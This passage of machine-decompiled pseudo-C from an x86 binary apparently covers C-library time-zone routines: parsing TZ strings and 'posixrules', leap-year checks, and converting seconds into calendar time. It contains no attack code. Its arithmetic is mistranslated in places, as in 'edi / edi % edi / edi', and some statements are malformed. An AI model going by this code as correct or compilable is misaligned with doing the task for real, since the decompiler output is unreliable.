            esi = esi + 4;
            edi = edi + 1;
        } while(*(edx + 4) > edi);
    }
    edi = 0;
    if(*(Ac + 4) > 0) {
        do {
            al = *esi;
            edx = Ac;
            *(edi + edx + 1496) = al;
            esi = esi + 1;
            if(*(edx + 8) <= ( *(edi + edx + 1496) & 255)) {
                goto L0805a3ef;
            }
            edi = edi + 1;
        } while(*(edx + 4) > edi);
    }
    edi = 0;
    if(*(Ac + 8) > 0) {
        Vffffe2b4 = 1868;
        do {
            ebx = Ac + Vffffe2b4;
            *ebx = L0805A0F0(esi);
            esi = esi + 4;
            eax = *esi & 255;
            *(ebx + 4) = eax;
            esi = esi + 1;
            if(eax > 1) {
                goto L0805a3ef;
            }
            eax = *esi & 255;
            *(ebx + 8) = eax;
            esi = esi + 1;
            if(eax < 0 || *(Ac + 12) < eax) {
                goto L0805a3ef;
            }
            Vffffe2b4 = Vffffe2b4 + 16;
            edi = edi + 1;
        } while(*(Ac + 8) > edi);
    }
    edi = 0;
    if(*(Ac + 12) > 0) {
        do {
            al = *esi;
            ecx = Ac;
            *(edi + ecx + 5964) = al;
            esi = esi + 1;
            edi = edi + 1;
        } while(*(ecx + 12) > edi);
    }
    edx = Ac;
    *(edi + edx + 5964) = 0;
    edi = 0;
    if(*edx > 0) {
        Vffffe2b8 = 6016;
        do {
            ebx = Ac + Vffffe2b8;
            *ebx = L0805A0F0(esi);
            esi = esi + 4;
            *(ebx + 4) = L0805A0F0(esi);
            esi = esi + 4;
            Vffffe2b8 = Vffffe2b8 + 8;
            edi = edi + 1;
        } while(*Ac > edi);
    }
    edi = 0;
    if(*(Ac + 8) > 0) {
        ebx = 1868;
        do {
            ecx = Ac + ebx;
            Vffffe2b0 = ecx;
            if(Vffffe2bc == 0) {
                *(Vffffe2b0 + 12) = 0;
            } else {
                eax = *esi & 255;
                *(ecx + 12) = eax;
                esi = esi + 1;
                if(eax > 1) {
                    goto L0805a3ef;
                }
            }
            ebx = ebx + 16;
            edi = edi + 1;
        } while(*(Ac + 8) > edi);
    }
    eax = 0;
L0805a577:
    esp = ebp + -7516;
}

/*	Procedure: 0x0805A584 - 0x0805A5C2
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L0805A584(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;



    ecx = A8;
    dl = *ecx;
    if(dl != 0) {
        eax = dl & 255;
        for(ebx = *L08078FA0; !( *(ebx + eax * 2 + 1) & 8) && dl + 212 > 1 && dl != 43; eax = dl & 255) {
            ecx = ecx + 1;
            dl = *ecx;
            if(dl == 0) {
                break;
            }
        }
    }
    return(ecx);
}

/*	Procedure: 0x0805A5C3 - 0x0805A5C3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805A5C3()
{



}

/*	Procedure: 0x0805A5C4 - 0x0805A633
 *	Argument size: 16
 *	Local size: 4
 *	Save regs size: 12
 */

L0805A5C4(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vfffffffc;



    ebx = A8;
    if(ebx != 0) {
        edx = *ebx & 255;
        if(*( *L08078FA0 + edx * 2 + 1) & 8) {
            goto L0805a628;
        }
        edx = 0;
        al = *ebx;
        if(al != 0) {
            Vfffffffc = *L08078FA0;
            do {
                ecx = al & 255;
                if(*(Vfffffffc + ecx * 2 + 1) & 8) {
                    break;
                }
                edx = ecx + edx + edx + edx * 8 - 48;
                if(edx > A14) {
                    goto L0805a628;
                }
                ebx = ebx + 1;
                al = *ebx;
            } while(al != 0);
        }
        if(A10 > edx) {
            goto L0805a628;
        }
        *Ac = edx;
        eax = ebx;
    } else {
L0805a628:
        eax = 0;
    }
    esp = ebp - 16;
}

/*	Procedure: 0x0805A634 - 0x0805A6C7
 *	Argument size: 8
 *	Local size: 4
 *	Save regs size: 8
 */

L0805A634(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  esi;
	/* unknown */ void  Vfffffffc;



    ecx = L0805A5C4(A8, & Vfffffffc, 0, 24);
    if(ecx != 0) {
        edx = Vfffffffc;
        *Ac = (edx + (edx + edx * 2) * 2 << 5) + edx << 4;
        if(*ecx != 58) {
            goto L0805a6bd;
        }
        ecx = ecx + 1;
        ecx = L0805A5C4(ecx, & Vfffffffc, 0, 59);
        if(ecx != 0) {
            *Ac = *Ac + (Vfffffffc + Vfffffffc * 2 + (Vfffffffc + Vfffffffc * 2) * 4 << 2);
            if(*ecx != 58) {
                goto L0805a6bd;
            }
            ecx = ecx + 1;
            ecx = L0805A5C4(ecx, & Vfffffffc, 0, 59);
            if(ecx != 0) {
                goto L0805a6b8;
            }
        }
    }
    eax = 0;
    goto L0805a6bf;
L0805a6b8:
    *Ac = *Ac + Vfffffffc;
L0805a6bd:
    eax = ecx;
L0805a6bf:
    esp = ebp - 12;
}

/*	Procedure: 0x0805A6C8 - 0x0805A71C
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L0805A6C8(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;



    ecx = A8;
    if(*ecx == 45) {
        ebx = 1;
        ecx = ecx + 1;
    } else {
        edx = *ecx & 255;
        if(!( *( *L08078FA0 + edx * 2 + 1) & 8)) {
            al = *ecx;
            ecx = ecx + 1;
            if(al != 43) {
                goto L0805a705;
            }
        }
        ebx = 0;
    }
    ecx = L0805A634(ecx, Ac);
    if(ecx == 0) {
L0805a705:
        eax = 0;
    } else {
        if(ebx != 0) {
            *Ac = ~( *Ac);
        }
        eax = ecx;
    }
}

/*	Procedure: 0x0805A71D - 0x0805A71F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805A71D()
{



}

/*	Procedure: 0x0805A720 - 0x0805A7E3
 *	Argument size: 4
 *	Local size: 4
 *	Save regs size: 4
 */

L0805A720(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    ecx = A8;
    if(*ecx == 74) {
        *Ac = 0;
        ecx = ecx + 1;
        (save)365;
        (save)1;
    } else {
        if(*ecx == 77) {
            *Ac = 2;
            ecx = ecx + 1;
            ecx = L0805A5C4(ecx, Ac + 12, 1, 12);
            if(ecx == 0) {
                goto L0805a7bb;
            }
            al = *ecx;
            ecx = ecx + 1;
            if(al != 46) {
                goto L0805a7bb;
            }
            ecx = L0805A5C4(ecx, Ac + 8, 1, 5);
            if(ecx == 0) {
                goto L0805a7bb;
            }
            al = *ecx;
            ecx = ecx + 1;
            if(al != 46) {
                goto L0805a7bb;
            }
            (save)6;
        } else {
            edx = *ecx & 255;
            if(*( *L08078FA0 + edx * 2 + 1) & 8) {
                goto L0805a7bb;
            }
            *Ac = 1;
            (save)365;
        }
        (save)0;
    }
    (save)Ac + 4;
    (save)ecx;
    ecx = L0805A5C4();
    esp = esp + 16;
    if(ecx == 0) {
L0805a7bb:
        eax = 0;
    } else {
        if(*ecx == 47) {
            ecx = ecx + 1;
            ecx = L0805A634(ecx, Ac + 16);
        } else {
            *(Ac + 16) = 7200;
        }
        eax = ecx;
    }
}

/*	Procedure: 0x0805A7E4 - 0x0805AABC
 *	Argument size: 16
 *	Local size: 16
 *	Save regs size: 12
 */

L0805A7E4(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffffc;



    ecx = A8;
    Vfffffffc = 0;
    if(!(Ac & 3)) {
        eax = Ac;
        edi = 100;
        asm("cdq");
        if(edi / edi % edi / edi != 0) {
            goto L0805a821;
        }
    }
    eax = Ac;
    edi = 400;
    asm("cdq");
    if(edi / edi % edi / edi == 0) {
L0805a821:
        Vfffffffc = 1;
    }
    eax = *A10;
    if(eax != 1) {
        > ? L0805a840 : ;
        if(eax == 0) {
            if(eax == 2) {
                goto L0805a8ac;
            }
            goto L0805aaa8;
            edi = *(A10 + 4) - 1;
            esi = ((edi + (edi + (edi + edi * 4) * 4) * 8 << 2) - edi << 7) + ecx;
            if(Vfffffffc != 0 && *(A10 + 4) > 59) {
                esi = esi + 86400;
            }
        }
    } else {
        edi = *(A10 + 4);
        esi = ((edi + (edi + (edi + edi * 4) * 4) * 8 << 2) - edi << 7) + ecx;
        goto L0805aaa8;
L0805a8ac:
        esi = ecx;
        ebx = 0;
        edx = *(A10 + 12) - 1;
        Vfffffff4 = edx;
        if(0 < edx) {
            edi = Vfffffffc;
            ecx = edi + edi + edi << 4;
            if(eax = edx & 3) {
                goto L0805a944;
            }
            if(eax > 1) {
                if(eax > 2) {
                    edx = *(ecx + 0x8068ec8);
                    esi = esi + ((edx + (edx + (edx + edx * 4) * 4) * 8 << 2) - edx << 7);
                    ecx = ecx + 4;
                    ebx = 1;
                }
                edx = *(ecx + 0x8068ec8);
                esi = esi + ((edx + (edx + (edx + edx * 4) * 4) * 8 << 2) - edx << 7);
                ecx = ecx + 4;
                ebx = ebx + 1;
            }
            edx = *(ecx + 0x8068ec8);
            esi = esi + ((edx + (edx + (edx + edx * 4) * 4) * 8 << 2) - edx << 7);
            ecx = ecx + 4;
            ebx = ebx + 1;
            if(Vfffffff4 > ebx) {
L0805a944:
                edx = *(ecx + 0x8068ec8);
                esi = esi + ((edx + (edx + (edx + edx * 4) * 4) * 8 << 2) - edx << 7);
                edx = *(ecx + 0x8068ecc);
                esi = esi + ((edx + (edx + (edx + edx * 4) * 4) * 8 << 2) - edx << 7);
                edx = *(ecx + 0x8068ed0);
                esi = esi + ((edx + (edx + (edx + edx * 4) * 4) * 8 << 2) - edx << 7);
                edx = *(ecx + 0x8068ed4);
                esi = esi + ((edx + (edx + (edx + edx * 4) * 4) * 8 << 2) - edx << 7);
                ecx = ecx + 16;
                ebx = ebx + 4;
                if(Vfffffff4 > ebx) {
                    goto L0805a944;
                }
            }
        }
        Vfffffff4 = *(A10 + 12) + 9;
        eax = Vfffffff4;
        edi = 12;
        asm("cdq");
        Vfffffff4 = edi / edi % edi / edi + 1;
        eax = Ac;
        if(*(A10 + 12) <= 2) {
            eax = eax - 1;
        }
        edi = 100;
        asm("cdq");
        ebx = edi / edi % edi / edi;
        ecx = eax;
        edx = Vfffffff4;
        eax = edx + edx + edx * 4 + (edx + edx * 4) * 4 - 2;
        Vfffffff4 = eax;
        edi = 10;
        asm("cdq");
        edx = edi / edi % edi / edi;
        Vfffffff4 = eax + ebx + 1;
        eax = ebx;
        if(eax < 0) {
            eax = eax + 3;
        }
        Vfffffff4 = Vfffffff4 + (eax >> 2);
        eax = ecx;
        if(ecx < 0) {
            eax = ecx + 3;
        }
        Vfffffff4 = Vfffffff4 + (eax >> 2);
        Vfffffff4 = Vfffffff4 - ecx + ecx;
        eax = Vfffffff4;
        edi = 7;
        asm("cdq");
        edx = edi / edi % edi / edi;
        Vfffffff4 = edx;
        if(edx < 0) {
            Vfffffff4 = edx + 7;
        }
        if(!(ecx = *(A10 + 4) - Vfffffff4)) {
            ecx = ecx + 7;
        }
        ebx = 1;
        if(*(A10 + 8) > 1) {
            Vfffffff4 = (Vfffffffc + Vfffffffc + Vfffffffc << 4) + *(edi + 12) * 4;
L0805aa7c:
            eax = ecx + 7;
            if(*(Vfffffff4 + "/") > eax) {
                ecx = eax;
                ebx = ebx + 1;
                if(*(A10 + 8) != ebx) {
                    goto L0805aa7c;
                }
            }
        }
        esi = esi + ((ecx + (ecx + (ecx + ecx * 4) * 4) * 8 << 2) - ecx << 7);
    }
L0805aaa8:
    eax = esi;
    eax = eax + *(A10 + 16) + A14;
    esp = ebp - 28;
}

/*	Procedure: 0x0805AABD - 0x0805AABF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805AABD()
{



}

/*	Procedure: 0x0805AAC0 - 0x0805AF29
 *	Argument size: 12
 *	Local size: 88
 *	Save regs size: 12
 */

L0805AAC0(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffa8;
	/* unknown */ void  Vffffffac;
	/* unknown */ void  Vffffffb0;
	/* unknown */ void  Vffffffb4;
	/* unknown */ void  Vffffffb8;
	/* unknown */ void  Vffffffbc;
	/* unknown */ void  Vffffffc0;
	/* unknown */ void  Vffffffc4;
	/* unknown */ void  Vffffffc8;
	/* unknown */ void  Vffffffcc;
	/* unknown */ void  Vffffffd0;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    ebx = A8;
    Vffffffcc = ebx;
    if(A10 == 0) {
        ebx = L0805A584(ebx);
        ecx = ebx - Vffffffcc;
        Vffffffc4 = ecx;
        if(Vffffffc4 > 2) {
            goto L0805ab1a;
        }
L0805aaed:
        eax = -1;
    } else {
        al = 0;
        edi = ebx;
        asm("cld");
        ecx = -1;
        asm("repne scasb");
        eax = !ecx - 1;
        Vffffffc4 = eax;
        ebx = ebx + eax;
        if(eax > 50) {
            Vffffffc4 = 50;
        }
L0805ab1a:
        if(*ebx == 0) {
            goto L0805aaed;
        }
        ebx = L0805A6C8(ebx, & Vfffffffc);
        if(ebx == 0) {
            goto L0805aaed;
        }
        edi = Ac;
        esi = L0805A254("posixrules", edi);
        if(esi != 0) {
            *edi = 0;
        }
        if(*ebx != 0) {
            Vffffffc8 = ebx;
            eax = L0805A584(ebx);
            ebx = eax;
            ecx = ebx - Vffffffc8;
            Vffffffc0 = ecx;
            if(Vffffffc0 <= 2) {
                goto L0805aaed;
            }
            if(*ebx != 0 && *ebx != 44 && *ebx != 59) {
                eax = L0805A6C8(ebx, & Vfffffff8);
                ebx = eax;
                if(ebx != 0) {
                    goto L0805abac;
                }
                goto L0805aaed;
            }
            Vfffffff8 = Vfffffffc + -3600;
L0805abac:
            if(*ebx == 44 || *ebx == 59) {
                ebx = ebx + 1;
                (save) & Vffffffe4;
                ebx = L0805A720(ebx);
                if(ebx == 0) {
                    goto L0805aaed;
                }
                al = *ebx;
                ebx = ebx + 1;
                if(al != 44) {
                    goto L0805aaed;
                }
                (save) & Vffffffd0;
                ebx = L0805A720(ebx);
                if(ebx == 0 || *ebx != 0) {
                    goto L0805aaed;
                }
                *(Ac + 8) = 2;
                *(ecx + 4) = 136;
                *(ecx + 1868) = ~Vfffffff8;
                *(ecx + 1872) = 1;
                *(ecx + 1876) = Vffffffc4 + 1;
                *(ecx + 1884) = ~Vfffffffc;
                *(ecx + 1888) = 0;
                *(ecx + 1892) = 0;
                esi = Ac + 16;
                ebx = Ac + 1496;
                Vffffffbc = 0;
                Vffffffa8 = 1970;
                do {
                    edi = Vffffffbc;
                    Vffffffb8 = L0805A7E4(edi, Vffffffa8, & Vffffffe4, Vfffffffc);
                    eax = L0805A7E4(edi, Vffffffa8, & Vffffffd0, Vfffffff8);
                    if(Vffffffb8 <= eax) {
                        *esi = Vffffffb8;
                        esi = esi + 4;
                        *ebx = 0;
                        ebx = ebx + 1;
                        *esi = eax;
                        esi = esi + 4;
                        *ebx = 1;
                    } else {
                        *esi = eax;
                        esi = esi + 4;
                        *ebx = 1;
                        ebx = ebx + 1;
                        *esi = Vffffffb8;
                        esi = esi + 4;
                        *ebx = 0;
                    }
                    ebx = ebx + 1;
                    Vffffffac = 0;
                    edi = Vffffffa8;
                    if(!(edi & 3)) {
                        eax = edi;
                        ecx = 100;
                        asm("cdq");
                        if(ecx / ecx % ecx / ecx != 0) {
                            goto L0805acf8;
                        }
                    }
                    eax = Vffffffa8;
                    edi = 400;
                    asm("cdq");
                    if(edi / edi % edi / edi == 0) {
L0805acf8:
                        Vffffffac = 1;
                    }
                    edx = *(Vffffffac * 4 + 0x8068f28);
                    Vffffffbc = Vffffffbc + ((edx + (edx + (edx + edx * 4) * 4) * 8 << 2) - edx << 7);
                    Vffffffa8 = Vffffffa8 + 1;
                } while(Vffffffa8 <= 2037);
            } else {
                if(*ebx != 0 || esi != 0) {
                    goto L0805aaed;
                }
                Vffffffb4 = 0;
                ebx = 0;
                Vffffffa8 = 0;
                esi = 0;
                Vffffffac = 0;
                if(*(Ac + 8) > Vffffffac) {
                    Vffffffb0 = ~Vfffffff8;
                    eax = 0;
                    do {
                        ecx = Ac;
                        if(*(eax + ecx + 1872) == 0) {
                            edx = Vffffffa8;
                            edi = *(eax + Ac + 1868) + Vfffffffc;
                            Vffffffa8 = edi;
                            if(Vffffffb4 != 0 && edx != edi) {
                                goto L0805aaed;
                            }
                            ecx = Ac;
                            *(eax + ecx + 1868) = ~Vfffffffc;
                            *(eax + ecx + 1876) = 0;
                            Vffffffb4 = 1;
                        } else {
                            edx = esi;
                            esi = *(eax + ecx + 1868) + Vfffffff8;
                            if(ebx != 0 && edx != esi) {
                                goto L0805aaed;
                            }
                            edi = Ac;
                            *(eax + edi + 1868) = Vffffffb0;
                            *(eax + edi + 1876) = Vffffffc4 + 1;
                            ebx = 1;
                        }
                        eax = eax + 16;
                        Vffffffac = Vffffffac + 1;
                    } while(*(Ac + 8) > Vffffffac);
                }
                if(ebx == 0 || Vffffffb4 == 0) {
                    goto L0805aaed;
                }
                ebx = 0;
                Vffffffac = 0;
                if(*(Ac + 4) > Vffffffac) {
                    do {
                        ecx = Ac;
                        edi = Vffffffac;
                        edx = ecx + (( *(edi + ecx + 1496) & 255) << 4) + 1868;
                        eax = *(ecx + edi * 4 + 16);
                        eax = ebx == 0 || *(edx + 12) != 0 ? eax + Vffffffa8 : eax + esi;
                        ecx = Vffffffac;
                        edi = Ac;
                        *(edi + ecx * 4 + 16) = eax;
                        ebx = *(edx + 4);
                        ecx = ecx + 1;
                        Vffffffac = ecx;
                    } while(*(edi + 4) > Vffffffac);
                }
            }
        } else {
            Vffffffc0 = 0;
            ecx = Ac;
            *(ecx + 8) = 1;
            *(ecx + 4) = 0;
            *(ecx + 1868) = ~Vfffffffc;
            *(ecx + 1872) = 0;
            *(ecx + 1876) = 0;
        }
        ecx = Ac;
        *(ecx + 12) = Vffffffc4 + 1;
        if(Vffffffc0 != 0) {
            *(ecx + 12) = *(ecx + 12) + 1 + Vffffffc0;
        }
        if(*(Ac + 12) > 51) {
            goto L0805aaed;
        }
        ebx = Ac + 5964;
        edi = Vffffffc4;
        L0805680C(ebx, Vffffffcc, edi);
        ebx = ebx + edi;
        *ebx = 0;
        ebx = ebx + 1;
        if(Vffffffc0 != 0) {
            edi = Vffffffc0;
            L0805680C(ebx, Vffffffc8, edi);
            *(edi + ebx) = 0;
        }
        eax = 0;
    }
    esp = ebp - 100;
}

/*	Procedure: 0x0805AF2A - 0x0805AF2B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805AF2A()
{



}

/*	Procedure: 0x0805AF2C - 0x0805AF58
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L0805AF2C(A8)
/* unknown */ void  A8;
{



    eax = L0805A254(0x8068ea0, A8);
    if(eax != 0) {
        eax = L0805AAC0(0x8068ea0, A8, 1);
    }
}

/*	Procedure: 0x0805AF59 - 0x0805AF5B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805AF59()
{



}

/*	Procedure: 0x0805AF5C - 0x0805B00F
 *	Argument size: -4
 *	Local size: 4
 *	Save regs size: 4
 */

L0805AF5C()
{
	/* unknown */ void  ebx;



    ebx = L08055668("TZ");
    if(ebx == 0) {
        eax = L0805B010();
    } else {
        *L0807E300 = 1;
        if(*ebx == 0) {
            *L0807B0E0 = 0;
            *L0807B0E4 = 0;
            *L0807B82C = 0;
            *L0807B834 = 0;
            (save)0x8068ea0;
            L08056640(0x807c82c);
        } else {
            if(L0805A254(ebx, 0x807b0e0) != 0) {
                if(*ebx == 58) {
                    goto L0805aff7;
                }
                if(L0805AAC0(ebx, 0x807b0e0, 0) != 0) {
L0805aff7:
                    L0805AF2C(0x807b0e0);
                }
            }
        }
        eax = L0805A11C();
    }
}

/*	Procedure: 0x0805B010 - 0x0805B045
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805B010()
{



    *L0807E300 = 1;
    if(L0805A254(0, 0x807b0e0) != 0) {
        L0805AF2C(0x807b0e0);
    }
    return(L0805A11C());
}

/*	Procedure: 0x0805B046 - 0x0805B047
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805B046()
{



}

/*	Procedure: 0x0805B048 - 0x0805B10A
 *	Argument size: 12
 *	Local size: 4
 *	Save regs size: 12
 */

L0805B048(A8, A10)
/* unknown */ void  A8;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vfffffffc;



    Vfffffffc = *A8;
    if(*L0807E300 == 0) {
        L0805AF5C();
    }
    esi = 0x807b0e0;
    if(*L0807B0E4 != 0 && *L0807B0F0 <= Vfffffffc) {
        goto L0805b0ac;
    }
    eax = 0;
    if(*(esi + 1872) != 0) {
        edx = 0;
        do {
            edx = edx + 16;
            eax = eax + 1;
            if(*(esi + 8) <= eax) {
                goto L0805b0a8;
            }
        } while(*(edx + esi + 1872) != 0);
        goto L0805b0d0;
L0805b0a8:
        eax = 0;
        goto L0805b0d0;
L0805b0ac:
        eax = 1;
        if(*(esi + 4) > 1) {
            edx = Vfffffffc;
            do {
                if(*(esi + eax * 4 + 16) > edx) {
                    break;
                }
                eax = eax + 1;
            } while(*(esi + 4) > eax);
        }
        eax = *(eax + esi + 1495) & 255;
    }
L0805b0d0:
    ebx = esi + (eax << 4) + 1868;
    L0805B1C4( & Vfffffffc, *ebx, esi, A10);
    edx = *(ebx + 4);
    *(A10 + 32) = edx;
    eax = *(ebx + 8) + 5964;
    *(edx * 4 + 0x8078b1c) = esi + eax;
    esp = ebp - 16;
}

/*	Procedure: 0x0805B10B - 0x0805B10B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805B10B()
{



}

/*	Procedure: 0x0805B10C - 0x0805B127
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0805B10C(A8)
/* unknown */ void  A8;
{



    L0805B048(A8, 0, 0x807b06c);
    return(0x807b06c);
}

/*	Procedure: 0x0805B128 - 0x0805B143
 *	Argument size: 4
 *	Local size: 4
 *	Save regs size: 4
 */

L0805B128(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    L0805B048(A8, 0, Ac);
    return(Ac);
}

/*	Procedure: 0x0805B144 - 0x0805B189
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

L0805B144(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    if(*L0807E304 == 0) {
        *L0807E304 = 1;
        L0805AF2C(0x807c9f0);
    }
    return(L0805B1C4(A8, Ac, 0x807c9f0, A10));
}

/*	Procedure: 0x0805B18A - 0x0805B1A7
 *	Argument size: 4
 *	Local size: 4
 *	Save regs size: 4
 */

L0805B18A(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    L0805B144(A8, 0, Ac);
    return(Ac);
}

/*	Procedure: 0x0805B1A8 - 0x0805B1C3
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0805B1A8(A8)
/* unknown */ void  A8;
{



    L0805B144(A8, 0, 0x807b098);
    return(0x807b098);
}

/*	Procedure: 0x0805B1C4 - 0x0805B4DE
 *	Argument size: 16
 *	Local size: 28
 *	Save regs size: 12
 */

L0805B1C4(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffffc = 0;
    Vfffffff8 = 0;
    if(!(ecx = *A10 - 1)) {
        esi = *A8;
        edi = ecx * 8;
        Vfffffff4 = edi;
        Vfffffff0 = Vfffffff4 + -8;
        eax = Vfffffff4 + 6016;
        Vffffffe4 = eax;
        edx = !ecx & 3;
        if(ecx > -1) {
            if(edx == 0) {
                goto L0805b27c;
            }
            if(edx < 3) {
                if(edx < 2) {
                    edx = A10 + eax;
                    if(*edx <= esi) {
                        != ? 0x805b349 : ;
                        edi = Vfffffff8;
                        goto L0805b31f;
                    }
                    Vfffffff0 = Vfffffff0 + -8;
                    Vffffffe4 = Vffffffe4 + -8;
                    ecx = ecx - 1;
                }
                edx = A10 + Vffffffe4;
                if(*edx <= esi) {
                    goto L0805b31b;
                }
                Vfffffff0 = Vfffffff0 + -8;
                Vffffffe4 = Vffffffe4 + -8;
                ecx = ecx - 1;
            }
        }
        edx = A10 + Vffffffe4;
        if(*edx > esi) {
            Vfffffff0 = Vfffffff0 + -8;
            Vffffffe4 = Vffffffe4 + -8;
            if(ecx = ecx - 1) {
                goto L0805b363;
            }
L0805b27c:
            do {
                edx = A10 + Vffffffe4;
                if(*edx <= esi) {
                    goto L0805b31b;
                }
                Vfffffff0 = Vfffffff0 + -8;
                ecx = ecx - 1;
                edx = A10 + Vffffffe4 - 8;
                if(*edx <= esi) {
                    goto L0805b29d;
                }
                Vfffffff0 = Vfffffff0 + -8;
                ecx = ecx - 1;
                edx = A10 + Vffffffe4 - 16;
                if(*edx <= esi) {
                    goto L0805b2df;
                }
                Vfffffff0 = Vfffffff0 + -8;
                ecx = ecx - 1;
                edx = A10 + Vffffffe4 - 24;
                if(*edx <= esi) {
                    goto L0805b31b;
                }
                Vfffffff0 = Vfffffff0 + -8;
                Vffffffe4 = Vffffffe4 + -32;
            } while(ecx = ecx - 1);
            goto L0805b363;
L0805b29d:
            != ? 0x805b349 : ;
            Vfffffff8 = 0;
            if(ecx == 0 && *(edx + 4) > 0) {
                goto L0805b342;
            }
            ebx = *(edx + 4);
            if(*(Vfffffff0 + A10 + 6020) >= ebx) {
                goto L0805b349;
            }
            goto L0805b342;
L0805b2df:
            != ? 0x805b349 : ;
            Vfffffff8 = 0;
            if(ecx == 0 && *(edx + 4) > 0) {
                goto L0805b342;
            }
            eax = *(edx + 4);
            if(*(Vfffffff0 + A10 + 6020) >= eax) {
                goto L0805b349;
            }
            goto L0805b342;
        }
L0805b31b:
        if(*edx == esi) {
L0805b31f:
            Vfffffff8 = 0;
            if(ecx == 0 && *(edx + 4) > 0) {
                goto L0805b342;
            }
            edi = *(edx + 4);
            if(*(Vfffffff0 + A10 + 6020) < edi) {
L0805b342:
                Vfffffff8 = 1;
            }
        }
L0805b349:
        Vfffffffc = *(edx + 4);
    }
L0805b363:
    eax = *A8;
    ebx = 86400;
    asm("cdq");
    edx = ebx / ebx % ebx / ebx;
    esi = eax;
    edi = Ac - Vfffffffc;
    Vfffffff4 = edi;
    if(!(edx = edx + Vfffffff4)) {
        do {
            esi = esi - 1;
        } while(edx = edx + 86400);
    }
    while(edx > 86399) {
        edx = edx + -86400;
        esi = esi + 1;
    }
    eax = edx;
    ebx = 3600;
    asm("cdq");
    edx = ebx / ebx % ebx / ebx;
    ecx = eax;
    edi = A14;
    *(edi + 8) = ecx;
    eax = edx;
    ebx = 60;
    asm("cdq");
    edx = ebx / ebx % ebx / ebx;
    *(edi + 4) = eax;
    *edi = edx;
    if(Vfffffff8 != 0) {
        *edi = *edi + 1;
    }
    eax = esi + 4;
    ebx = 7;
    asm("cdq");
    edx = ebx / ebx % ebx / ebx;
    edi = A14;
    *(edi + 24) = edx;
    if(edx < 0) {
        *(edi + 24) = *(edi + 24) + 7;
    }
    Vfffffff0 = 1970;
    if(esi >= 0) {
        while(1) {
            Vffffffe4 = 0;
            eax = Vfffffff0;
            if(!(al & 3)) {
                ebx = 100;
                asm("cdq");
                if(ebx / ebx % ebx / ebx != 0) {
                    goto L0805b419;
                }
            }
            eax = Vfffffff0;
            ebx = 400;
            asm("cdq");
            if(ebx / ebx % ebx / ebx == 0) {
L0805b419:
                Vffffffe4 = 1;
            }
            edi = Vffffffe4;
            if(*(edi * 4 + 0x8068f28) > esi) {
                goto L0805b477;
            }
            Vfffffff0 = Vfffffff0 + 1;
            esi = esi - *(edi * 4 + 0x8068f28);
        }
    }
    do {
        Vfffffff0 = Vfffffff0 - 1;
        Vffffffe4 = 0;
        eax = Vfffffff0;
        if(!(al & 3)) {
            ebx = 100;
            asm("cdq");
            if(ebx / ebx % ebx / ebx != 0) {
                goto L0805b464;
            }
        }
        eax = Vfffffff0;
        ebx = 400;
        asm("cdq");
        if(ebx / ebx % ebx / ebx == 0) {
L0805b464:
            Vffffffe4 = 1;
        }
    } while(esi = esi + *(Vffffffe4 * 4 + 0x8068f28));
L0805b477:
    eax = A14;
    *(eax + 20) = Vfffffff0 + -1900;
    *(eax + 28) = esi;
    eax = Vffffffe4;
    edi = Vffffffe4 + Vffffffe4 + eax << 4;
    edx = edi + 0x8068ec8;
    *(A14 + 16) = 0;
    if(*(edi + 0x8068ec8) <= esi) {
        do {
            esi = esi - *(edx + *(A14 + 16) * 4);
            eax = A14;
            *(eax + 16) = *(eax + 16) + 1;
        } while(*(edx + *(eax + 16) * 4) <= esi);
    }
    esi = esi + 1;
    edi = A14;
    *(edi + 12) = esi;
    *(edi + 32) = 0;
    esp = ebp - 40;
}

/*	Procedure: 0x0805B4DF - 0x0805B4DF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805B4DF()
{



}

